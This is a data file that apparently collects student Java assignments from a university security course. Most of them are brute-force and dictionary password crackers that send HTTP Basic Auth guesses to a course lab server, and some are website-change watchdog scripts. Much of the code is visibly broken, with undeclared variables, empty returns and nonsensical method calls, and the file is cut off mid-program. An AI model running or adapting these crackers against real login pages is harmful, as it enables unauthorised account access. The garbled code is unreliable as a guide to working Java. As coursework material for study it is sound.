String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) + String.valueOf((char)(a[2] + i2)); decision(s1); count++; s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + (String.valueOf((char)(a[1] + i1))).toUpperCase() + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2)); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) + String.valueOf((char)(a[2] + i2)); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2)); decision(s1); count++; } } } } public void twoLetters() { String s1; char [] a = {'a','a'}; for (int i0 = 0; i0 < 26; i0++) { for (int i1 = 0; i1 < 26; i1++) { s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)); decision(s1); count++; s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + (String.valueOf((char)(a[1] + i1))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)); decision(s1); count++; } } } public void decision(String s1) { if (find(s1) == 200) { stopTime = System.currentTimeMillis(); runTime = stopTime - startTime; System.out.println(""***************************************""); System.out.println(""\nAttack successfully""); System.out.println(""\nPassword is: "" + s1); System.out.println(""\nThe contents of the Web site: ""); displayContent(s1); System.out.println(""\nTime taken crack: "" + runTime + "" millisecond""); System.out.println(""\nNumber of attempts: "" + count); System.out.println(); System.exit(0); } } public int find(String s1) { int responseCode = 0; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1)); responseCode = connection.getResponseCode(); }catch (Exception e) { System.out.println(e.getMessage()); } return responseCode; } public void displayContent(String pw) { BufferedReader bw = null ; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw)); InputStream stream = (InputStream)(connection.getContent()); if (stream != null) { InputStreamReader reader = new InputStreamReader (stream); bw = new BufferedReader (reader); String line; while ((line = bw.readLine()) != null) { System.out.println(line); } } } catch (IOException e) { System.out.println(e.getMessage()); } } } " 086.java,"import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; int attempts = 0; exit: for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 067.java,"import java.*; import java.io.*; public class C { public static void main (String [] args){ try{ int m=0,n=0,w=0; String file = ""passwd.""; char ch1='A',ch2='A',ch3='A'; for(int i = 0 ; i < 26; i++ ) { for(w=0;w<2;w++) { if (w==1) i+=32; for(int j = 0; j< 26 ; j++) { for(n=0;n<2;n++) { if(n==1) j+=32; for(int k = 0; k<26 ; k++) { for(m=0; m<2; m++) { if(m==1) k+=32; char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)}; String str = new String(data); System.out.println(str); FileWriter fr1 = new FileWriter(file,true); BufferedWriter in1 = new BufferedWriter(fr1); in1.write(str); in1.newLine(); in1.print(); if (k>=31) k-=32; } } if(j>=31) j=j-32; } } if(i>=31) i-=32; } } } catch(IOException e) { System.out.println(""try""); } } } " 163.java,"package java.httputils; import java.io.BufferedOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; import java.net.MalformedURLException; import java.sql.Timestamp; import java.util.Observable; public class BruteForce extends Observable { protected Timestamp start; protected Timestamp end; protected String URL = ""http://localhost:8080/secret/index.html""; protected String userName = """"; protected String content = """"; protected int attempts = 0; protected String password; protected String fileName; public static final char[] letters = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', ' '}; public BruteForce() { } public void process() { StringBuffer password = new StringBuffer(""aaa""); setStart(new Timestamp(System.currentTimeMillis())); for (int i = 0; i < letters.length - 1; password.setCharAt(0, letters[i]), i++) { for (int i2 = 0; i2 < letters.length; password.setCharAt(1, letters[i2]), i2++) { for (int i3 = 0; i3 < letters.length; password.setCharAt(2, letters[i3]), i3++) { try { attempts++; BasicAuthHttpRequest req = new BasicAuthHttpRequest( getURL(), getUserName(), password.toString().trim()); setPassword(password.toString()); setEnd(new Timestamp(System.currentTimeMillis())); setContent(req.getContent().toString()); if (getFileName() != null && getFileName().length() > 0) { createReport(); } return; } catch (MalformedURLException e) { e.printStackTrace(); return; } catch (IOException e) { } } } } setEnd(new Timestamp(System.currentTimeMillis())); } public void createReport() { OutputStream os = null; try { os = new BufferedOutputStream( new FileOutputStream(getFileName(), false)); os.write(printResult().getBytes()); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { if (os != null) { try { os.close(); } catch (IOException e) { } } } } public String printResult() { StringBuffer s = new StringBuffer(); s.append(""** "" + this.getClass().getName() + "" Results **\n\n""); s.append(""Password: "" + getPassword() + ""\n\n""); s.append(""Attempts : "" + attempts + ""\n\n""); s.append( ""Time (seconds): "" + (getEnd().getTime() - getStart().getTime()) / 1000 + ""\n\n""); s.append(""Content: \n"" + getContent() + ""\n\n""); return s.toString(); } public String printUsage() { StringBuffer s = new StringBuffer(); s.append(""** BruteForce proper usage **\n\n""); s.append( ""java ..httputils.BruteForce \n\n""); return s.toString(); } public static void main(String[] args) { BruteForce bruteForce = new BruteForce(); if (args.length < 2) { System.out.println(bruteForce.printUsage()); } else { bruteForce.setURL(args[0]); bruteForce.setUserName(args[1]); if (args.length > 2) { bruteForce.setFileName(args[2]); } bruteForce.process(); System.out.println(bruteForce.printResult()); } } public Timestamp getEnd() { return end; } public Timestamp getStart() { return ; } public void setEnd(Timestamp timestamp) { end = timestamp; } public void setStart(Timestamp timestamp) { time = timestamp; } public String getURL() { return URL; } public void setURL(String string) { URL = string; } public String getUserName() { return userName; } public void setUserName(String string) { userName = string; } public String getContent() { return content; } public void setContent(String string) { content = string; } public String getPassword() { return password; } public void setPassword(String string) { password = string; } public String getFileName() { return fileName; } public void setFileName(String string) { fileName = string; } } " 006.java," import java.io.*; import java.util.*; import java.*; import java.net.*; public class WatchDog { static Process p = null; static Process qproc = null; static BufferedReader bf = null; static StringTokenizer tok = null; static String Path = null; static String str = null; static String urlStr=null; static boolean changed = false; static File indexfile = new File(""index.html""); static File tmpfile = new File(""tmpindex.html""); static File mdfile = new File(""md5file.txt""); static File tmpmdfile = new File(""tmpmd5file.txt""); static PrintWriter mailwriter = null; public static void main (String[] args) { urlStr = ""http://www.cs.rmit.edu./""; try { mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(""tomail.txt"", false))); getLatest(urlStr); parseFile(); mailwriter.read(); if(changed) { System.out.println(""Sending Mail""); p = Runtime.getRuntime().exec(""./mailscript""); p.waitFor(); } else System.out.println("" mail sent""); } catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (InterruptedException intex) { System.out.println(""Interrupted Exception""); intex.printStackTrace(); } } static void getLatest(String urlStr) { URL url = null; try { url = new URL(urlStr); } catch (MalformedURLException mfurl) { System.out.println(""Malformed URL""); mfurl.printStackTrace(); } try { mailwriter.println(); p = Runtime.getRuntime().exec(""/usr//pwd""); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); Path=bf.readLine(); if (indexfile.exists()) { mailwriter.println(""File with name 'index.html' found in directory.""); mailwriter.println(""Renaming existing 'index.html' 'tmpindex.html...""); p = Runtime.getRuntime().exec(""/usr//mv ""+indexfile+ "" "" + Path+""/""+tmpfile); p.waitFor(); p = Runtime.getRuntime().exec(""/usr//mv ""+mdfile+ "" "" + Path+""/""+tmpmdfile); mailwriter.println(); mailwriter.println(""File with name 'md5file.txt' found in directory.""); mailwriter.print(""Renaming existing 'md5file.txt' 'tmpmd5file.txt...""); mailwriter.println("".""); mailwriter.println(); } mailwriter.println(""Downloading current version of site - "" + urlStr); p = Runtime.getRuntime().exec(""/usr/local//wget ""+url); p.waitFor(); if (!tmpfile.exists()) { mailwriter.println(""File - "" + urlStr + ""index.html saved disk for the first time.""); } } catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (IndexOutOfBoundsException iobe) { System.out.println(""Index Out Of Bounds Exception""); iobe.printStackTrace(); } catch (Exception e) { System.out.println(""Exception""); e.printStackTrace(); } } static void parseFile() { Vector imgVect = new Vector(); try { p = Runtime.getRuntime().exec(""/usr//grep img "" + Path + ""/""+ indexfile); p.waitFor(); bf = new BufferedReader(new InputStreamReader( p.getInputStream())); while((str=bf.readLine())!=null) { bf = new StringTokenizer(str, ""\"""", false); while(bf.hasMoreTokens()) { str=bf.nextToken(); if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0)) imgVect.addElement(str); } } }catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (Exception e) { System.out.println(""Exception""); e.printStackTrace(); } mailwriter.println(""Creating file with md5sums of the webpage and images...""); md5Create(imgVect); } static void md5Create(Vector imgVect) { String tmpString = null; Vector imgNames = new Vector(); try { PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false))); p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); pr.println(bf.readLine()); for(int i=0; i 0) || (str.indexOf(""jpg"") > 0)) prsName=str; } return (Object)prsName; } } " 038.java," public class CrackingConstants { public static final int quietMode = 0; public static final int verboseMode1 = 1; public static final int verboseMode2 = 2; public static final int simpleScan = 0; public static final int casedScan = 1; public static final int notFound = -1; public static final String [] lowerChars = {""a"", ""e"", ""i"", ""o"", ""u"", ""y"", ""b"", ""c"",""d"", ""f"", ""g"", ""h"", ""j"", ""k"", ""l"", ""m"", ""n"", ""p"", ""q"", ""r"", ""s"", ""t"", ""v"", ""w"", ""x"", ""z"", ""0"", ""1"", ""2"", ""3"", ""4"", ""5"", ""6"", ""7"", ""8"", ""9"", ""\'"", ""`"", ""."", "","", ""!"", ""\"""", ""&"" }; public static final String [] upperChars = {""A"", ""E"", ""I"", ""O"", ""U"", ""Y"", ""B"", ""C"", ""D"", ""F"", ""G"", ""H"", ""J"", ""K"", ""L"", ""M"", ""N"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""V"", ""W"", ""X"", ""Z"", ""0"", ""1"", ""2"", ""3"", ""4"", ""5"", ""6"", ""7"", ""8"", ""9"", ""\'"", ""`"", ""."", "","", ""!"", ""\"""", ""&"" }; public static final int punctuationUpperBound = 42; public static final int punctuationLowerBound = 36; public static final int numbersUpperBound = 35; public static final int numbersLowerBound = 26; public static final int consonantUpperBound = 25; public static final int consonantLowerBound = 6; public static final int vowelUpperBound = 5; public static final int vowelLowerBound = 0; public static int findIndex(char letter, int lowerSearchBound, int upperSearchBound) { if(lowerChars.length < upperSearchBound) upperSearchBound = lowerChars.length; if(0 > lowerSearchBound) lowerSearchBound = 0; for(int i = lowerSearchBound; i < upperSearchBound; i++) { if(lowerChars[i].indexOf(letter) > -1) return i; if(upperChars[i].indexOf(letter) > -1) return i; } return notFound; } } " 221.java," import java.io.*; import java.text.*; import java.util.*; import java.net.*; public class BruteForce extends Thread { private static final String USERNAME = """"; private static final char [] POSSIBLE_CHAR = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public BruteForce(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println(""Invalid usage!""); System.err.println(""Usage: java BruteForce ""); System.exit(1); } try { brute(args[0], USERNAME); } catch(Exception e) { e.printStackTrace(); System.exit(1); } } public static void brute(String address, String user) { BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD]; int index = 0; startDate = new Date(); for(int i = 0; i < POSSIBLE_CHAR.length; i++) { for(int j = 0; j < POSSIBLE_CHAR.length; j++) { for(int k = 0; k < POSSIBLE_CHAR.length; k++) { String password = """"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+ POSSIBLE_CHAR[k]; if (threads[index] != null && threads[index].isAlive()) { try { threads[index].join(); } catch(InterruptedException e ) {} } threads[index] = new BruteForce(address, password); threads[index].get(); index = (index++) % threads.length; } } } } public void run() { if (endDate != null) return; try { URLConnection conn = (new URL(address)).openConnection(); conn.setDoInput(true); if (login(conn, USERNAME, password)) { endDate = new Date(); System.out.println(""Found the password: \""""+password+""\""!""); SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:""); System.out.println(""Process started at: ""+format.format(startDate)); System.out.println(""Process started at: ""+format.format(endDate)); double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; System.out.println(""Time taken: ""+timeTaken+"" minutes""); System.exit(0); } else { System.out.println(""Password: \""""+password+""\"" Failed!""); return; } } catch(Exception e) { e.printStackTrace(); } } public static boolean login(URLConnection conn, String user, String pass) { try { String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass); conn.setRequestProperty (""Authorization"", encodeAuth); conn.connect(); conn.getInputStream(); } catch(Exception e) { return false; } return true; } } " 180.java,"import java.io.*; import java.net.*; import java.util.*; public class Dictionary { public static void main (String args[]) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double startTime = now.getTime(); String password=getPassword(startTime); System.out.println(""The password is "" + password); } public static String getPassword(double startTime) { String password=""""; int requests=0; try { FileReader fRead = new FileReader(""/usr/share/lib/dict/words""); BufferedReader buf = new BufferedReader(fRead); password=buf.readLine(); while (password != null) { if (password.length()<=3) { requests++; if (testPassword(password, startTime, requests)) return password; } password = buf.readLine(); } } catch (IOException ioe) { } return password; } private static boolean testPassword(String password, double startTime, int requests) { try { URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); HttpURLConnection connection; String userPassword = "":"" + password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); try { connection = (HttpURLConnection) url.openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); int status=connection.getResponseCode(); System.out.println(password + requests); if (status==200) { System.out.println(""It took "" + getTime(startTime) + "" milliseconds find the password.""); System.out.println("" were "" + requests + "" requests .""); return true; } return false; } catch (IOException ioe) { System.out.print(ioe); return false; } } catch (IOException MalformedURLException) { System.out.print(""Invalid URL""); return false; } } private static double getTime(double startTime) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double endTime = now.getTime(); return endTime-startTime; } } " 057.java," import java.io.*; class Dictionary { public static void main (String[]a) { new PassGen(); } } class PassGen { String password; char url; Process p; Runtime r; FileReader fr; BufferedReader bf; int exitValue=1; int startTime,finishTime; int noOfAttempts=0; PassGen() { String s; try { fr=new FileReader(""./words""); bf =new BufferedReader(fr); r=Runtime.getRuntime(); startTime=System.currentTimeMillis(); while((password=bf.readLine())!=null && exitValue !=0) { if(password.length()<=3) { s=""wget --http-user= --http-passwd=""+password+"" http://sec-crack.cs.rmit.edu./SEC/2/ ""; p=r.exec(s); System.out.println(password); noOfAttempts++ ; p.waitFor(); r.freeMemory(); r.gc(); exitValue=p.exitValue(); } if(exitValue==0) { System.out.println(""The paswword is :""+password); finishTime=System.currentTimeMillis(); System.out.println(""Total Time Taken:=""+((finishTime-startTime)/1000)+"" seconds""); System.out.println(""Number of attempts:=""+noOfAttempts); break; } } fr.print(); } catch(Exception e) { System.out.println(e); } finally { if(exitValue!=0) System.out.println(""Password not cracked--oops""); } } }" 074.java," import java.io.*; import java.net.*; public class BruteForce { public static void main(String args[]) throws IOException, MalformedURLException { final String username = """"; final String fullurl = ""http://sec-crack.cs.rmit.edu./SEC/2/""; String temppass; String password = """"; URL url = new URL(fullurl); boolean cracked = false; String c[] = {""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"", ""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z"",""a"",""b"",""c"",""d"", ""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"", ""t"",""u"",""v"",""w"",""x"",""y"",""z""}; startTime = System.currentTimeMillis(); for(int i = 0; i < 52 && !cracked; i++) { temppass = c[i]; Authenticator.setDefault(new MyAuthenticator(username, temppass)); try{ BufferedReader r = new BufferedReader(new InputStreamReader( url.openStream())); cracked = true; password = temppass; } catch(Exception e){} } for(int i = 0; i < 52 && !cracked; i++) { for(int j = 0; j < 52 && !cracked; j++) { temppass = c[i]+c[j]; Authenticator.setDefault(new MyAuthenticator(username, temppass)); try{ BufferedReader r = new BufferedReader(new InputStreamReader( url.openStream())); cracked = true; password = temppass; } catch(Exception e){} } } for(int i = 0; i < 52 && !cracked; i++) { for(int j = 0; j < 52 && !cracked; j++) { for(int k = 0; k < 52; k++) { temppass = c[i]+c[j]+c[k]; Authenticator.setDefault(new MyAuthenticator(username,temppass)); try{ BufferedReader r = new BufferedReader(new InputStreamReader( url.openStream())); cracked = true; password = temppass; } catch(Exception e){} } } } stopTime = System.currentTimeMillis(); if(!cracked) System.out.println(""Sorry, couldnt find the password""); else System.out.println(""Password found: ""+password); System.out.println(""Time taken: ""+(stopTime-startTime)); } } " 106.java," import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.UsernamePasswordCredentials; import org.apache.commons.httpclient.cookie.CookiePolicy; import org.apache.commons.httpclient.methods.GetMethod; public class BruteForce{ static final String LOGON_SITE_HACKER = BruteForcePropertyHelper.getProperty(""logonSite""); static final int LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty(""logonPort"")).intValue(); static final int USE_PROXY_SERVER = Integer.valueOf(BruteForcePropertyHelper.getProperty(""useProxyServer"")).intValue(); static final int PROXY_PORT = Integer.valueOf(BruteForcePropertyHelper.getProperty(""proxyPort"")).intValue(); static final String PROXY_SERVER = BruteForcePropertyHelper.getProperty(""proxyServer""); static final String PROXY_USENAME = BruteForcePropertyHelper.getProperty(""proxyUserName""); static final String PROXY_PASSWORD = BruteForcePropertyHelper.getProperty(""proxypassword""); static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty(""getMethod""); static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty(""numberOfGetsBeforeReleaseConnection"")).intValue(); static final String[] cValidChars = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""}; public BruteForce() { super(); } public static void main (String[] args) throws Exception { String statusLine = "" ""; int count = 0; int firstLetterIndex = 0; int secondLetterIndex = 0; int thirdLetterIndex = 0; int divValue = 0; String userName = """"; String password = """"; HttpClient client = new HttpClient(); if (USE_PROXY_SERVER == 1) { client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT); client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD)); } client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY); client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, ""http""); GetMethod getMethod = new GetMethod(GET_METHOD_HACKER); count = 0; for (int f = 0; f < 52; f++) { firstLetterIndex = f; password = cValidChars[firstLetterIndex]; System.out.println(""Count: ""+ count + "" First Index: ""+ firstLetterIndex+ "" password: ""+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } count = 0; for (int g = 0; g < 52; g++) { firstLetterIndex = g; for (int h = 0; h < 52; h++) { secondLetterIndex = h; password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]; System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue + "" Releasing the connection and getting new one""); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } } getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); count = 0; for (int i = 0; i < 52; i++) { firstLetterIndex = i; for (int j = 0; j < 52; j++) { secondLetterIndex = j; for (int k = 0; k < 52; k++) { thirdLetterIndex = k; password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]; System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ "" Third Index: ""+ thirdLetterIndex+ "" ""+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue+ "" Releasing the connection and getting new one""); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } } } } } " 136.java," import java.util.*; import java.io.*; import java.net.*; public class MyWatchDogTimer extends TimerTask { public void run() { Runtime rt = Runtime.getRuntime(); Process prss= null; String initialmd5,presentmd5,finalmd5,temp1; String mesg1 = new String(); String subject = new String(""Report of WatchDog""); int i; try { prss = rt.exec(""md5sum first.html""); InputStreamReader instre1 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread1 = new BufferedReader(instre1); sw = bufread1.readLine(); i = finalmd5.indexOf(' '); initialmd5 = finalmd5.substring(0,i); System.out.println(""this is of first.html--->""+initialmd5); prss = rt.exec(""wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/""); prss = rt.exec(""md5sum present.html""); InputStreamReader instre2 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread2 = new BufferedReader(instre2); temp1 = bufread2.readLine(); i = temp1.indexOf(' '); presentmd5 = temp1.substring(0,i); System.out.println(""this is of present.html---->""+presentmd5); if(initialmd5.equals(presentmd5)) System.out.println(""The checksum found using md5sum is same""); else { prss = rt.exec(""diff first.html present.html > diff.html""); System.out.println("" is different""); prss = null; mesg1 =""php mail.php""; prss = rt.exec(mesg1); } prss = rt.exec(""rm present.*""); }catch(java.io.IOException e){} } } " 108.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class DictionaryPropertyHelper { private static Properties dictProps; public DictionaryPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the dictionary Props""); e.printStackTrace(); } return dictProps.getProperty(pKey); } private static void initProps() throws Exception{ if(dictProps == null){ dictProps = new Properties(); InputStream fis = DictionaryPropertyHelper.class.getResourceAsStream(""/dictionary.properties""); dictProps.load(fis); } } } " 072.java," import java.net.*; import java.io.*; import java.util.*; public class BruteForce { public BruteForce() { try { URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2""); MyAuthenticator m = new MyAuthenticator(); Authenticator userPassword = m.getPasswordAuthentication("": "", ""Z""); URLConnection uc = url.openConnection(); HttpURLConnection http = (HttpURLConnection) uc; uc.setRequestProperty (""Authorization"", "" ""); System.out.println(""hello""); http.setRequestMethod(""POST""); } catch (MalformedURLException e) { System.out.println(""Invalid URL""); } catch (IOException e) { System.out.println(""Error URL""); } } public static void main (String args[]) { BruteForce gogetit = new BruteForce(); } class MyAuthenticator { Authenticator getPasswordAuthentication(String login, char password) { { for(int i = 0; i < 3; i++) { password = (char)(57.0 * Math.random() + 65); if ((password < 97) && (password > 90)) { i--; continue; } login = login + password; } }while(uc.getURL()!= 401); } } } " 191.java," import java.io.IOException; import java.net.*; import java.io.*; import java.util.*; public class BruteForce { static String strLetter[]; static URL url = null; static URLConnection urlConnection; static InputStream urlStream; static String strExceptionPassword[]; static int intExceptionCount = -1; static int intNumberOfConnectionAttempts = 0; static String username = """"; static String strLastPasswordTested; public static void main (String args[]) { Calendar calStart; Calendar calFinish; Date dateStart; Date dateFinish; lngStart; lngFinish; calStart = new GregorianCalendar(); dateStart = calStart.getTime(); lngStart = dateStart.getTime(); System.out.println(); System.out.println(); populateArray(); boolean boolPasswordFound = false; boolean boolExceptionPasswordsTestedAgain = false; String strPasswd; String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; int intCounter1 = 0; int intCounter2 = 0; int intCounter3 = 0; int intArrayLength = strLetter.length; strExceptionPassword = new String[5000]; if (!boolPasswordFound) { intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strLetter[intCounter1], boolPasswordFound); intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound (urlString, strLetter[intCounter1] + strLetter[intCounter2], boolPasswordFound); intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) ) { intCounter3 = 0; while ( (!boolPasswordFound) && (intCounter3 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound (urlString, strLetter[intCounter1] + strLetter[intCounter2] + strLetter[intCounter3], boolPasswordFound); intCounter3++; } intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) ) { boolExceptionPasswordsTestedAgain = true; boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strExceptionPassword[intCounter1], boolPasswordFound); intCounter1++; } } System.out.println(); calFinish = new GregorianCalendar(); dateFinish = calFinish.getTime(); lngFinish = dateFinish.getTime(); System.out.println(); System.out.println(); System.out.println(); System.out.println(""Length of time for processing: "" + ((lngFinish - lngStart) / 1000) + "" seconds""); System.out.println(); System.out.println(""Number of connection attempts = "" + intNumberOfConnectionAttempts); System.out.println(); System.out.println(""Number of exceptions thrown = "" + (intExceptionCount + 1)); if 